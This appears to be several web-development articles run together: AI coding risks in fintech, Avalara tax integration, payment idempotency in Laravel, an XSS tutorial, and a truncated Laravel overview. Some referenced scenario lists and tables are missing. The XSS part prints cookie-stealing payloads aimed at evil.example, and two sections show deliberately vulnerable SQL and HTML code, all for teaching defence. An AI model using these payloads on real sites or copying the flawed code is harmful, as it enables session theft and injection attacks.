Nobody typed a bug. The model wrote plausible, idiomatic, wrong code, and it looked so normal that it slid past review. That’s the whole story of AI in fintech engineering: the tools are genuinely fast at the 80% that looks like everything else, and genuinely dangerous at the 20% that makes fintech different — money, regulation, and irreversible external side effects.

This note covers where tools like Claude Code and GitHub Copilot speed up real delivery, the failure patterns that have actually bitten regulated teams, and the code-level habits that keep AI-assisted output safe to merge.

Where AI genuinely accelerates fintech delivery

The pattern: AI compresses the mechanical part of engineering — typing, boilerplate, first drafts — and leaves the judgment part exactly where it was. In a CRUD app, judgment gaps show up as annoying bugs. In fintech, they show up as money that moved when it shouldn’t have, or a regulator asking why.

Real-world failure scenarios

These are the failure patterns that recur when AI-generated code reaches production in payment and financial systems.

Scenario 3 is the one most teams underestimate, because idempotency is exactly the kind of non-obvious domain rule that a general-purpose coding assistant won’t invent unless someone tells it the endpoint is financial. Scenario 5 and 7 matter more every year, because coding agents increasingly have tool access — a file system, a browser, a deploy command — not just a text box.

Code-level walkthrough: the same feature, two ways

What an assistant tends to hand you first

// ❌ AI's first draft: works in the demo, wrong for money
public function charge(Request $request)
{
    $total = $request->price * $request->qty * (1 - $request->discount); // float math

    $rows = DB::select("SELECT * FROM accounts WHERE id = " . $request->account_id); // string-built SQL

    Stripe::charges()->create([
        'amount'   => $total,          // no idempotency key at all
        'currency' => 'usd',
    ]);

    return response()->json(['charged' => $total]);
}

Every line here is idiomatic — it’s what a huge share of public tutorials show. Nothing about it looks alarming in a fast review, especially if the reviewer is skimming a diff that “obviously” just adds a feature.

What the same request needs in a regulated system

// ✅ Reviewed for the fintech-specific rules the prompt never stated
public function charge(ChargeRequest $request, StripeClient $stripe)
{
    // Integers only: cents, not floats. 0.1 + 0.2 !== 0.3 in IEEE 754.
    $totalMinor = intval(round($request->price_minor * $request->qty * (1 - $request->discount_rate)));

    // Parameter binding — never string-concatenate user input into SQL.
    $account = DB::table('accounts')->where('id', $request->account_id)->first();

    $key = $request->header('Idempotency-Key'); // required: see idempotency-in-payment-systems
    abort_if(! Str::isUuid($key), 400, 'A UUID Idempotency-Key header is required.');

    $intent = $stripe->paymentIntents->create([
        'amount'   => $totalMinor,
        'currency' => 'usd',
    ], [
        'idempotency_key' => $key, // the gateway de-duplicates retries too
    ]);

    return response()->json(['charged_minor' => $totalMinor, 'status' => $intent->status]);
}

Nothing in the second version is exotic. It’s the same feature, with the three domain rules a fintech reviewer applies automatically and a general-purpose model does not: integers for money, bound parameters for queries, and idempotency for anything that moves funds. AI tools are excellent at producing this version too — if you ask for it, or if your review process catches its absence. The fix isn’t “don’t use AI.” It’s “don’t skip the review step that used to catch this from a junior engineer.”

The guardrails that make this safe in practice

Common pitfalls

A five-point summary

1. AI compresses the mechanical layer of engineering — boilerplate, first drafts, test scaffolds — not the judgment layer. Fintech bugs live in judgment: money handling, compliance scope, and irreversible actions.
2. The failures aren’t exotic. Float money, missing idempotency, string-built SQL, and hallucinated packages are the same bugs junior engineers have always introduced — AI just produces them fast and confidently.
3. Agentic tools add a new failure class: over-broad autonomy and prompt injection from ingested content. Scope tool access per task and never let external content carry implicit authority.
4. Never put real secrets, card data, or production credentials into a prompt. Treat the AI’s context the way you’d treat a log file you don’t fully control.
5. The fix is the same governance a mature fintech team already has — checklists, static analysis, compliance review, and a human on every irreversible step — applied consistently to AI-authored code instead of waived because the diff looks clean.

Conclusion

The honest framing isn’t “AI writes bugs” or “AI writes bug-free code” — it’s that AI writes code exactly as reliable as the review process that receives it. In a regulated, high-stakes domain, the review process is the product. Tools like Claude Code and Copilot make a team meaningfully faster at the parts of engineering that were never where the risk lived. The risk was always in the domain rules nobody writes down until an incident forces them into a checklist — and that checklist matters more, not less, once the code arrives in seconds instead of hours.

Why tax is not “just a percentage”

In the US alone there are over 13,000 sales tax jurisdictions — states, counties, cities, and special districts — each with its own rate, its own rules about which product categories are taxable, and its own filing calendar. A single ZIP code can straddle two tax jurisdictions with different rates. Whether you even owe tax in a state depends on nexus, a legal threshold that can be crossed by revenue or transaction count alone, with no physical presence required.

This is precisely why companies like Avalara exist: they turn “what tax applies to this specific order, in this specific place, for this specific product” into one API call, and keep the underlying rate/rule tables updated as thousands of jurisdictions change them.

1. The vocabulary of tax

2. Where a tax engine fits in your architecture

You never calculate tax yourself in a production system of any size — you delegate it, the same way you delegate card processing to a payment gateway rather than talking to card networks directly. Avalara’s AvaTax service is the calculation engine; CertCapture manages exemption certificates; Returns handles filing and remittance.

3. The transaction lifecycle: estimate, commit, adjust

This is the single most misunderstood part of any tax API, and the source of most integration bugs.

1. Estimate (uncommitted) — you call the calculate endpoint while the customer is still on the checkout page, to show them a total. This transaction is not counted toward filing. You can call it as many times as you want (address changes, cart changes) with no consequence.
2. Commit — once the order is actually placed and paid, you commit the transaction. Only now does it become part of what gets filed and remitted to jurisdictions. An order that is never committed is an order the tax engine doesn’t know exists.
3. Adjust / void / refund — if the order changes after committing (partial refund, cancellation), you don’t edit the original record — you void it (if nothing should have happened) or post a new refund/credit transaction referencing it (if some tax was legitimately collected and must be legitimately returned). This mirrors double-entry accounting: correct forward, never edit history.

4. Code-level: integrating AvaTax

A minimal Laravel-side integration using Avalara’s official PHP SDK (avalara/avataxclient). The important details are the transaction code (your idempotency key), commit, and type.

use Avalara\AvaTaxClient;
use Avalara\CreateTransactionModel;
use Avalara\LineItemModel;
use Avalara\AddressLocationInfo;

$client = (new AvaTaxClient('MyApp', '1.0', 'my-machine', 'production'))
    ->withSecurity(config('services.avalara.account_id'), config('services.avalara.license_key'));

// Step 1 — estimate at checkout (uncommitted)
$estimate = new CreateTransactionModel();
$estimate->type = 'SalesOrder';        // uncommitted — never filed
$estimate->companyCode = 'MYCOMPANY';
$estimate->date = now()->toDateString();
$estimate->customerCode = $order->customer_id;
$estimate->addresses = [
    'shipFrom' => new AddressLocationInfo(['line1' => '100 Warehouse Rd', 'city' => 'Austin', 'region' => 'TX', 'postalCode' => '78701', 'country' => 'US']),
    'shipTo'   => new AddressLocationInfo(['line1' => $order->address, 'city' => $order->city, 'region' => $order->state, 'postalCode' => $order->zip, 'country' => 'US']),
];
$estimate->lines = collect($order->items)->map(fn ($item) => new LineItemModel([
    'number'      => (string) $item->id,
    'quantity'    => $item->qty,
    'amount'      => $item->total,
    'taxCode'     => $item->tax_code,       // e.g. "PC030000" for computers
    'itemCode'    => $item->sku,
]))->all();

$preview = $client->createTransaction([], $estimate);
// show $preview->totalTax to the customer before they pay

// Step 2 — commit once the order is actually placed and paid
$final = clone $estimate;
$final->type = 'SalesInvoice';          // becomes real filing data
$final->code = 'ORDER-' . $order->id;   // idempotency key: retrying with the same code updates, never duplicates
$final->commit = true;

$committed = $client->createTransaction([], $final);
$order->avatax_doc_code = $committed->code;
$order->save();

// Refunding a partial amount later — never edit the committed record
use Avalara\RefundTransactionModel;

$refund = new RefundTransactionModel();
$refund->refundType = 'Partial';
$refund->refundPercentage = 50.0;        // or specific line refs for line-level partials
$refund->referenceCode = 'ORDER-' . $order->id;

$client->refundTransaction([], 'MYCOMPANY', $order->avatax_doc_code, [], $refund);

The two lines that matter most for correctness are type (SalesOrder never files; SalesInvoice + commit = true does) and code (Avalara treats a repeated code as an update to the same transaction, not a new one — this is your protection against double-filing on a retried request, exactly like an idempotency key on a payment charge).

5. Real-world failure scenarios

1. Address not validated → wrong jurisdiction, wrong rate. A customer types “123 Main St, Springfield” and the app geocodes it to the wrong Springfield, or to a point just across a city line from the real delivery address. Tax is calculated for the wrong jurisdiction — undercharging (you now owe the difference) or overcharging (a customer complaint, or a false-claims risk in some states). Fix: always run the address through AvaTax’s own address validation/resolution before calculating tax — don’t trust free-text or third-party geocoding for tax purposes; jurisdiction boundaries rarely match ZIP codes or even city limits.

2. Transactions calculated but never committed. A team builds checkout, tests it, ships it — and only ever calls the estimate endpoint, because that’s what returns the number shown to the customer. Nobody adds the commit call for confirmed orders. Tax is being shown and collected from customers correctly, but from Avalara’s point of view, nothing was ever sold — so nothing gets filed or remitted. Months of collected tax sits uncounted until an audit or a reconciliation catches it. Fix: commit is not optional cleanup — treat “order confirmed, no committed AvaTax transaction” as a hard error state, alerted on immediately, the same way you’d alert on “payment captured, no ledger entry.”

3. Economic nexus crossed silently. A company starts shipping into a new state. Nobody is watching cumulative revenue or order count against that state’s economic nexus threshold (commonly $100,000 or 200 transactions/year, per South Dakota v. Wayfair). Eighteen months later, the state notices the volume and demands back taxes, penalties, and interest — on sales the company never collected tax for in the first place, because nobody registered until it was too late. Fix: track cumulative sales per jurisdiction and alert before thresholds are crossed — Avalara’s nexus tracking service does this automatically, but only if it’s actually wired into your order pipeline, not bolted on after the fact.

4. Exemption certificate not linked before the sale. A B2B customer places a large order and tells support “we’re tax-exempt, we sent the certificate over email.” Support marks the customer as exempt in a spreadsheet, but the order was already placed and tax was calculated (or not calculated) without that exemption being registered against the customer code in the tax engine. On audit, the jurisdiction asks for the certificate tied to that specific transaction — a spreadsheet note doesn’t satisfy that; the seller ends up owing the uncollected tax out of pocket. Fix: exemption status must be attached to the customer record in the tax engine (CertCapture or equivalent) before the order is calculated, not applied retroactively as a discount.

5. Locally cached tax rates go stale. To cut latency or API costs, a team caches jurisdiction rates in their own database and stops calling the calculation API for repeat customers in the same ZIP code. A state raises its rate on the 1st of a quarter. The cache isn’t invalidated. For weeks, the company undercollects tax on every order in that jurisdiction — a gap it now owes out of margin, discovered only when the next filing period’s numbers don’t reconcile. Fix: call the calculation API per order, every time — that’s the entire point of paying for the service. If latency is a real concern, cache validated addresses, never rates.

Common pitfalls

A five-point summary

1. Tax depends on jurisdiction and product — the same address taxes different product categories differently, so both the address and the tax code have to reach the calculation call.
2. Estimate and commit are different operations — only committed transactions are filed and remitted; an uncommitted estimate is invisible to compliance.
3. Nexus can be crossed by volume alone — no warehouse or employee required, and it must be actively monitored, not assumed away.
4. Exemptions live in the tax engine, not a spreadsheet — a certificate has to be on file before the sale to protect you on audit.
5. Corrections are new transactions, never edits — void before fulfillment, refund after, exactly like double-entry accounting.

Conclusion

Sales tax integration looks like a rounding-error problem and turns out to be a distributed-compliance problem: thousands of jurisdictions, product-specific rules, thresholds that trigger obligations without warning, and an audit trail that has to survive years of scrutiny. A service like Avalara doesn’t remove that complexity — it centralizes it behind one API, the same way a payment gateway centralizes card network complexity. Your job as the integrating engineer is narrower than it looks: validate the address, send the right tax codes, commit real orders and only real orders, keep exemption certificates current before the sale, and never edit history — correct it forward instead. Get those five things right, and the 13,000-jurisdiction problem becomes someone else’s API response.

Nobody wrote a bug that says “charge twice”. The duplicate came from something ordinary: a slow network, a retry, an impatient thumb. Any system that moves money over a network will see the same request more than once. The question is whether it charges more than once.

The fix is idempotency. This note explains why duplicates happen, walks through real failure scenarios, and then builds an idempotency layer step by step in Laravel.

If you are new to how online payments flow, read Payment Gateways Explained first.

What “idempotent” means

An operation is idempotent if doing it once or doing it many times gives the same result.

• Pressing a lift’s call button five times still calls the lift once. That’s idempotent.
• SET balance = balance - 100 takes more money every time it runs. Not idempotent.

HTTP GET, PUT and DELETE are supposed to be idempotent. POST is not, and POST /payments is where the money moves. So we have to make it idempotent ourselves.

The goal is not to stop retries. Retries are how systems recover from failure, so you want them. The goal is to make a retry safe.

Why duplicates happen: the ambiguous timeout

Every network call ends in one of three ways:

The third row causes the trouble. A timeout means “I don’t know”, not “it failed”. The request might have died on the way to the server, or the server might have finished the job and the reply was lost on the way back. From the client’s side those two cases look exactly the same.

There is no network setting that fixes this. Distributed systems can give you at-most-once delivery (never retry, so some payments are lost) or at-least-once delivery (retry, so some payments arrive twice). “Exactly once” doesn’t exist on the wire. What you can build is exactly-once processing: at-least-once delivery combined with an idempotent receiver.

Real-world failure scenarios

These are the duplicate-charge causes that show up again and again in production payment systems.

Scenario 7 is the nastiest. Gateway B can’t know about A’s charge, so the duplicate can’t be detected downstream. The only safe rule is: never fail over on a timeout. Treat a timeout as pending and find out what happened.

Only scenario 1 is “the user’s fault”. Disabling the button fixes that one and none of the others. Idempotency has to live on the server.

The idea: an idempotency key

The client attaches a unique ID to the payment attempt and sends the same ID on every retry:

POST /api/payments HTTP/1.1
Idempotency-Key: 7c9e6679-7425-40de-944b-e07fc1f90ae7
Content-Type: application/json

{ "order_id": 1042, "payment_method_id": "pm_card_visa" }

The server stores each key with the result it produced. When a key it has already seen arrives, it returns the stored result and doesn’t run the payment again.

Designing idempotency keys correctly

The concept is simple. Most real bugs come from getting the details of the key wrong. Here are seven rules.

1. One key per payment intent, not per HTTP request. The key stands for “the customer’s attempt to pay order #1042 with this card”. Every retry of that attempt uses the same key. If you generate a new key inside your retry loop, you have switched the protection off.

2. The client generates it, before the first try. Only the caller knows that two requests are “the same attempt”. Create the key when the checkout starts and keep it (in component state or sessionStorage) so it survives retries and even a page refresh.

3. Make it unique and unguessable. Use a UUID (v4, or v7 if you like time-ordered IDs). Timestamps collide, and auto-increment numbers can be guessed, which would let an attacker replay someone else’s result.

4. Scope it to the owner. Store it as (user_id, key) or (merchant_id, key), not just key, so two customers can never collide and nobody can read another user’s saved response.

5. Bind it to the request body. Store a hash of the payload. If the same key comes back with a different amount or card, that’s a client bug, and you should reject it (422) rather than silently replaying the old result.

6. Give it a lifetime. Keep keys at least as long as any client might still retry. 24 hours is a common choice (Stripe keeps keys for at least that long), and then a scheduled job prunes them.

7. Pass it downstream. Send the same key (or a key derived from it) to the payment gateway. If your server crashes between charging and saving, the gateway itself will de-duplicate your retry.

What about just using the order ID?

It’s tempting, but order_id alone is too coarse. If the first card is declined, the customer must be able to try a different card for the same order, and that’s a new intent. Good options:

The renewal example is worth remembering. For scheduled work there’s no client, so derive the key from the business fact (“subscription 88, October billing”). If the cron job runs twice, both runs produce the same key.

The server-side flow

Every request with a key goes through the same decision tree:

The race condition you must avoid

The obvious version is wrong:

// ❌ Check-then-act: two parallel requests can both pass the check
if (! IdempotencyKey::where('key', $key)->exists()) {
    IdempotencyKey::create(['key' => $key]);
    $this->charge(...);   // both requests reach this line
}

A double tap sends two requests about 50ms apart. Both run the SELECT, both see nothing, and both charge. The fix is to let the database decide: attempt the INSERT against a UNIQUE index. Exactly one request can win that insert, however many arrive at once.

Code: building it in Laravel

Step 1 — The table

Schema::create('idempotency_keys', function (Blueprint $table) {
    $table->id();
    $table->foreignId('user_id')->constrained();
    $table->uuid('key');
    $table->char('request_hash', 64);             // sha256 of method + path + body
    $table->string('status', 20);                 // processing | completed
    $table->unsignedSmallInteger('response_code')->nullable();
    $table->longText('response_body')->nullable();
    $table->timestamps();

    $table->unique(['user_id', 'key']);           // ← this index is the lock
});

Step 2 — The middleware

namespace App\Http\Middleware;

use App\Models\IdempotencyKey;
use Closure;
use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Http\Request;
use Illuminate\Support\Str;
use Symfony\Component\HttpFoundation\Response;

class EnsureIdempotency
{
    public function handle(Request $request, Closure $next): Response
    {
        $key = $request->header('Idempotency-Key');

        if (! $key || ! Str::isUuid($key)) {
            return response()->json(['error' => 'A UUID Idempotency-Key header is required.'], 400);
        }

        $hash = hash('sha256', $request->method().$request->path().$request->getContent());

        try {
            // Atomic claim: exactly one request can insert this (user_id, key) pair.
            $record = IdempotencyKey::create([
                'user_id'      => $request->user()->id,
                'key'          => $key,
                'request_hash' => $hash,
                'status'       => 'processing',
            ]);
        } catch (UniqueConstraintViolationException) {
            return $this->handleRepeat($request, $key, $hash);
        }

        $response = $next($request);

        if ($response->getStatusCode() >= 500) {
            // Our own code failed before any money moved (see Step 3), so allow a clean retry.
            $record->delete();
            return $response;
        }

        $record->update([
            'status'        => 'completed',
            'response_code' => $response->getStatusCode(),
            'response_body' => $response->getContent(),
        ]);

        return $response;
    }

    private function handleRepeat(Request $request, string $key, string $hash): Response
    {
        $record = IdempotencyKey::where('user_id', $request->user()->id)
            ->where('key', $key)
            ->firstOrFail();

        if (! hash_equals($record->request_hash, $hash)) {
            return response()->json(['error' => 'This key was already used with a different request.'], 422);
        }

        if ($record->status !== 'completed') {
            return response()->json(['error' => 'The original request is still processing.'], 409)
                ->header('Retry-After', '2');
        }

        return response($record->response_body, $record->response_code)
            ->header('Content-Type', 'application/json')
            ->header('Idempotent-Replayed', 'true');
    }
}

// routes/api.php
Route::post('/payments', [PaymentController::class, 'store'])
    ->middleware(['auth:sanctum', EnsureIdempotency::class]);

Things to notice:

• Declines are stored too. A 402 card declined is a final answer, so a retry with the same key gets the same decline. To try another card, the client sends a new key.
• 5xx releases the key, but only because Step 3 guarantees a 5xx means “nothing happened”. If your code can’t promise that, leave the key locked and reconcile (see “Stuck in processing” below).

Step 3 — The controller: pass the key on, and treat timeouts as pending

public function store(PayRequest $request, StripeClient $stripe): JsonResponse
{
    $order = $request->user()->orders()->findOrFail($request->order_id);
    $key   = $request->header('Idempotency-Key');

    $payment = $order->payments()->create([
        'amount_minor'    => $order->total_minor,     // integers, never floats
        'currency'        => $order->currency,
        'status'          => 'pending',
        'idempotency_key' => $key,                    // UNIQUE column: a second safety net
    ]);

    try {
        $intent = $stripe->paymentIntents->create([
            'amount'         => $order->total_minor,
            'currency'       => strtolower($order->currency),
            'payment_method' => $request->payment_method_id,
            'confirm'        => true,
            'metadata'       => ['payment_id' => $payment->id],
        ], [
            'idempotency_key' => $key,                // ← the gateway de-duplicates too
        ]);
    } catch (\Stripe\Exception\CardException $e) {
        $payment->update(['status' => 'failed', 'failure_reason' => $e->getDeclineCode()]);
        return response()->json(['id' => $payment->id, 'status' => 'failed'], 402);
    } catch (\Stripe\Exception\ApiConnectionException) {
        // Timeout or dropped connection: the charge MAY have happened.
        // Do not retry here and do not fail over. The webhook or a status check will settle it.
        return response()->json(['id' => $payment->id, 'status' => 'pending'], 202);
    }

    $payment->update([
        'status'            => $intent->status === 'succeeded' ? 'succeeded' : 'pending',
        'gateway_reference' => $intent->id,
    ]);

    return response()->json(['id' => $payment->id, 'status' => $payment->status], 201);
}

The catch (ApiConnectionException) block is the most important part of the whole article. It turns an ambiguous failure into an honest pending state instead of guessing “failed” and letting someone retry into a double charge.

Step 4 — The client: retry with the same key

// Created ONCE when checkout starts — not inside the retry loop.
let idempotencyKey = crypto.randomUUID();

async function pay(payload, maxAttempts = 5) {
  for (let attempt = 0; attempt < maxAttempts; attempt++) {
    try {
      const res = await fetch('/api/payments', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json', 'Idempotency-Key': idempotencyKey },
        body: JSON.stringify(payload),
      });

      if (res.status === 409 || res.status >= 500) throw new Error('retryable');

      const result = await res.json();
      if (res.status === 402) idempotencyKey = crypto.randomUUID(); // declined → next try is a NEW intent
      return result;                                                // 201 succeeded, 202 pending, 402 failed
    } catch {
      const backoff = Math.min(1000 * 2 ** attempt, 8000);
      await new Promise(r => setTimeout(r, backoff * (0.5 + Math.random() / 2)));
    }
  }
  return { status: 'unknown' }; // show "checking your payment…" and poll the order — never "failed"
}

Step 5 — Webhooks and queue jobs: de-duplicate by event ID

Gateways deliver webhooks at least once, and queue workers can run the same job twice. The receiver needs two guards: have I seen this event? and is this state change still valid?

public function __invoke(Request $request): Response
{
    $event = $this->verifier->verify($request);           // signature check first, always

    DB::transaction(function () use ($event) {
        // Guard 1: record the event ID. 0 rows inserted = we've handled this delivery before.
        $isNew = DB::table('processed_webhook_events')->insertOrIgnore([
            'event_id'    => $event->id,                  // UNIQUE column
            'received_at' => now(),
        ]);
        if ($isNew === 0) {
            return;
        }

        // Guard 2: conditional state transition. Only pending → succeeded is allowed.
        $updated = Payment::where('gateway_reference', $event->data->object->id)
            ->where('status', 'pending')
            ->update(['status' => 'succeeded']);

        if ($updated === 1) {
            FulfilOrder::dispatch($event->data->object->metadata->payment_id)->afterCommit();
        }
    });

    return response()->noContent();                       // fast 2xx, so the gateway stops retrying
}

Guard 2 matters even with guard 1. A gateway can send two different events (two different IDs) about the same payment, for example charge.succeeded and payment_intent.succeeded. The WHERE status = 'pending' makes the transition itself idempotent: whichever event arrives second updates 0 rows and fulfils nothing.

Defence in depth

No single layer catches everything, so a solid payment system stacks several of them:

Stuck in “processing”?

If the server crashes after claiming a key but before saving the response, the key stays processing and every retry gets 409. Add a sweeper: for keys stuck longer than a minute or two, ask the gateway what happened, using your stored reference or the same idempotency key, and record the real outcome. Don’t delete the key and hope. Deleting it is exactly how double charges come back.

Common pitfalls

A five-point summary

1. Retries are unavoidable and timeouts are ambiguous. A missing response means “unknown”, not “failed”.
2. An idempotency key identifies one payment intent. The client creates it once and sends it on every retry.
3. The server claims the key atomically with a UNIQUE index, stores the response, and replays it for repeats (409 in progress, 422 on mismatch).
4. Pass the key to the gateway and never fail over on a timeout. Mark the payment pending and let the webhook or a status check settle it.
5. Make every consumer idempotent too. Webhooks and jobs de-duplicate by event ID and only change state through guarded WHERE status = … updates.

Conclusion

Double charges rarely come from bad arithmetic. They come from the gap between “the server did the work” and “the client heard about it”. You can’t close that gap, because networks will always drop replies. You can make it harmless. Give each payment intent a key, claim it atomically, remember the answer, pass the key downstream, and treat “I don’t know” as pending rather than failed. With that in place, a retry just returns the answer the server already gave.

This note is a compact tour. By the end you should be able to explain what XSS is, spot the pattern that causes it, tell the three attack types apart, and know exactly which techniques stop it.

The one-sentence definition

XSS happens when data supplied by a user is allowed to be interpreted as HTML or JavaScript by the browser, instead of being treated purely as text on the page.

Everything else in this article is a consequence of that sentence.

Why it happens: code and data get mixed in the browser too

This is the exact same root cause as SQL injection, just in a different parser:

• Code — HTML tags, attributes, and <script> content that the browser executes or renders.
• Data — a username, a comment, a search term, a URL parameter.

When a server (or client-side JS) writes user input straight into the page’s HTML, the browser cannot tell which characters were meant to be a harmless string and which were meant to be markup. It just parses the whole response as HTML.

A concrete attack, step by step

Here is a comment box rendered the dangerous way. The language is PHP, but the flaw is identical in every language and framework that skips output escaping.

// DANGEROUS — never do this
$comment = $_POST['comment'];

echo "<div class='comment'>" . $comment . "</div>";

Step 1 — the normal case

Input: Nice article, thanks!

<div class="comment">Nice article, thanks!</div>

Works fine. This is why the bug survives code review — the happy path looks correct.

Step 2 — inject a script

Input: <script>alert(document.cookie)</script>

<div class="comment"><script>alert(document.cookie)</script></div>

Every visitor who loads this page now runs the attacker’s JavaScript, with full access to the page’s DOM, cookies, and session.

Step 3 — steal the session, not just show an alert

Input:

<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>

The alert box was just a proof of concept. A real payload silently ships the victim’s session cookie to an attacker-controlled server — no popup, no visible sign anything happened.

Step 4 — skip the tag entirely, use an event handler

Filters that only block <script> are trivially bypassed:

<img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

There is no <script> tag at all. The broken image triggers onerror, which runs the same JavaScript. Dozens of attributes (onload, onmouseover, onerror, onfocus, onclick) can carry a payload.

The three flavours of XSS

Reflected example — a search page that echoes the query back:

// DANGEROUS
echo "You searched for: " . $_GET['q'];

https://shop.example/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

The attacker sends this link to the victim (email, chat, ad). One click runs the script in the victim’s authenticated session.

DOM-based example — client-side code that trusts the URL:

// DANGEROUS
document.getElementById('welcome').innerHTML =
  'Hello, ' + decodeURIComponent(location.hash.slice(1));

https://app.example/#<img src=x onerror=alert(document.cookie)>

Nothing is sent to the server. The bug is entirely in the browser, so server-side sanitisation cannot catch it — this one has to be fixed in the front-end code.

The fix: escape output, by context

The cure is to encode data for the context it lands in, right before it is written, so the browser can never interpret it as anything other than a literal value.

How it looks in real code

Raw PHP:

echo "<div class='comment'>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>";

Blade (Laravel) — {{ }} escapes automatically:

<div class="comment">{{ $comment }}</div>

Only use {!! !!} when the value is trusted HTML you control, never raw user input.

React — JSX escapes by default; dangerouslySetInnerHTML is the escape hatch and needs sanitisation:

<div className="comment">{comment}</div>   {/* safe — escaped automatically */}

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment) }} />  {/* only if you truly need raw HTML */}

Vue — {{ }} escapes; v-html is the equivalent escape hatch:

<div class="comment">{{ comment }}</div>  <!-- safe -->
<div v-html="comment"></div>              <!-- dangerous unless sanitised -->

Node.js / Express with a template engine (EJS):

<div class="comment"><%= comment %></div>   <!-- escaped -->
<div class="comment"><%- comment %></div>   <!-- NOT escaped — avoid with user input -->

Every modern templating engine escapes by default ({{ }}, <%= %>). The bug almost always comes from reaching for the engine’s explicit “trust me, output raw HTML” syntax — {!! !!}, v-html, dangerouslySetInnerHTML, <%- -%> — on data that came from a user.

Encoding is not one-size-fits-all

The same value needs different encoding depending on where it’s written. This is the part people get wrong even when they know to “escape output.”

Mixing these up is a common bypass: HTML-encoding a value that lands inside a <script> block does nothing, because the browser never treats that region as HTML in the first place — it’s already inside a JS string. Use a library built for this (OWASP’s ESAPI-style encoders, Laravel Blade, DOMPurify for cases needing rich HTML) rather than hand-rolling encoders per context.

The trap: things that are not fixes

Defense in depth

Output encoding stops the vulnerability at its source. The other layers limit the blast radius if something slips through — a new field added under deadline, a third-party widget, a forgotten v-html.

Content-Security-Policy is worth calling out specifically. A header like:

Content-Security-Policy: script-src 'self'

tells the browser to refuse to execute inline <script> tags and event-handler attributes entirely, and only run scripts loaded from your own origin. It doesn’t fix the injection, but it can turn a successful injection into a harmless, inert string — a strong second layer.

Cookie flags matter too. HttpOnly stops document.cookie from reading the session cookie at all, so even a successful XSS payload can’t steal it directly. Secure and SameSite=Strict/Lax close related gaps.

How it gets found

Testers and attackers probe the same way, and you can run these checks against your own app:

• The angle bracket probe. Enter <script>alert(1)</script> (or "><svg onload=alert(1)> for attribute contexts) into every field, URL parameter, and header your app reflects. If an alert box fires, the input reached the page unescaped.
• Check every context, not just the obvious one. Try the payload in query strings, form fields, Referer/User-Agent headers if you log and later render them, and file upload names.
• Automated scanners. Burp Suite, OWASP ZAP, and dalfox automate payload variations across contexts; static analysers (ESLint’s no-unsanitized, Semgrep) flag innerHTML/v-html/dangerouslySetInnerHTML at build time. Wire one into CI.

Test on systems you own or are authorised to test. Unauthorised probing is illegal.

A five-point checklist

1. Never write user input into HTML, an attribute, a script, or a URL without encoding it for that specific context.
2. Trust your templating engine’s default escaping ({{ }}, <%= %>) and treat the raw-output escape hatch ({!! !!}, v-html, dangerouslySetInnerHTML) as a red flag requiring justification and sanitisation.
3. Add a Content-Security-Policy header that disallows inline scripts — it catches what encoding misses.
4. Set HttpOnly and Secure on session cookies so a successful injection still can’t steal the session.
5. Grep your codebase for the danger signs: innerHTML =, v-html, dangerouslySetInnerHTML, {!! !!}, <%- -%>, document.write(. Review every hit.

Conclusion

XSS is the browser-side twin of SQL injection: the same mistake — letting user data become code instead of staying data — just in a different parser. It shows up as stored, reflected, or DOM-based, but the fix is always the same shape: encode the value for the exact context it lands in, right before you write it, and let your templating engine do that by default instead of reaching for the raw-output escape hatch. Add a Content-Security-Policy and HttpOnly cookies as a safety net, and this entire class of vulnerability stops being something that reaches production.

The one-sentence definition

Laravel is a free, open-source PHP web framework that gives you routing, a database layer, authentication, templating, and dozens of other common web-app pieces already built — so a team spends its time on the product, not on infrastructure every web app needs anyway.

Everything below is a consequence of that sentence.

The core functionalities, one by one

Nine pieces cover almost everything a typical web application needs: routing, the Eloquent ORM, Blade templating, authentication & authorization, validation, Artisan & migrations, queues & jobs, caching, and testing tools. None of them are unique to Laravel in isolation — every serious framework has something for each. What differs is how deep the built-in version goes, and what you’d have to add yourself elsewhere. Each one, in turn:

1. Routing

Every incoming request is matched against a list of routes — a URL pattern plus an HTTP verb (GET, POST, PUT, DELETE) — and handed to the controller method or closure registered for it. Routes live in a small number of central files, support grouping (a set of routes that all need the same middleware, like “must be logged in”), and support route model binding — write a route that expects {product} in the URL, and Laravel automatically loads the matching database record and hands you the object, not just the ID.

Compared to other frameworks: Symfony expresses routes as attributes scattered across each controller class, so seeing the whole map of an application means reading many files. Express (Node) matches routes in the order they’re registered, with no built-in model binding — you fetch the record yourself in every handler. Laravel keeps the route table centralized and declarative, and removes the “look up the record” step entirely for the common case.

2. Eloquent ORM

Eloquent maps each database table to a PHP class (a Model), and lets you read and write rows as objects instead of writing SQL by hand. Relationships between tables — one order has many items, one item belongs to one product — are declared as plain methods on the model, and Eloquent generates the joins and queries underneath. It sits on top of a full query builder, so nothing stops you from dropping to raw SQL for the rare case that needs it.

Compared to other frameworks: this is the same ActiveRecord pattern Ruby on Rails made popular, and Eloquent borrows from it directly — that comparison holds up well. Django’s ORM is conceptually similar but tied tightly to Django itself. Express has no ORM of its own; a team picks one separately (Prisma, Sequelize, TypeORM), and that choice is independent of the framework, which means the two don’t always agree on conventions.

3. Blade templating

Blade is Laravel’s templating engine for generating HTML on the server. It compiles down to plain, cached PHP — so the abstraction costs almost nothing at request time — and gives you layout inheritance (a shared page shell that individual pages plug content into), reusable components, and directives that read like control structures instead of a separate template language bolted on top of HTML.

Compared to other frameworks: this is the same role Twig plays for Symfony or the built-in template engine plays for Django — conceptually close. The difference is that Blade compiles to native PHP rather than being interpreted through a separate templating layer, which keeps it fast and lets you fall back to plain PHP inside a template when a directive doesn’t cover what you need.

4. Authentication & authorization

Laravel ships starter kits (Breeze, Fortify, Jetstream) that scaffold registration, login, password resets, and email verification, so a team isn’t hand-rolling password hashing or session handling. Sanctum handles lightweight API token or single-page-app authentication; Passport provides a full OAuth2 server when a project needs to be an identity provider itself. Policies and Gates express authorization rules (“can this user edit this order?”) as small, testable PHP classes instead of scattered if checks.

Compared to other frameworks: Django is the closest comparison — it also ships a real authentication system as part of the core framework. Rails leans on a popular third-party gem (Devise) rather than something built in. Express has nothing of its own here at all; authentication is 100% a library choice, made fresh on every project.

5. Validation

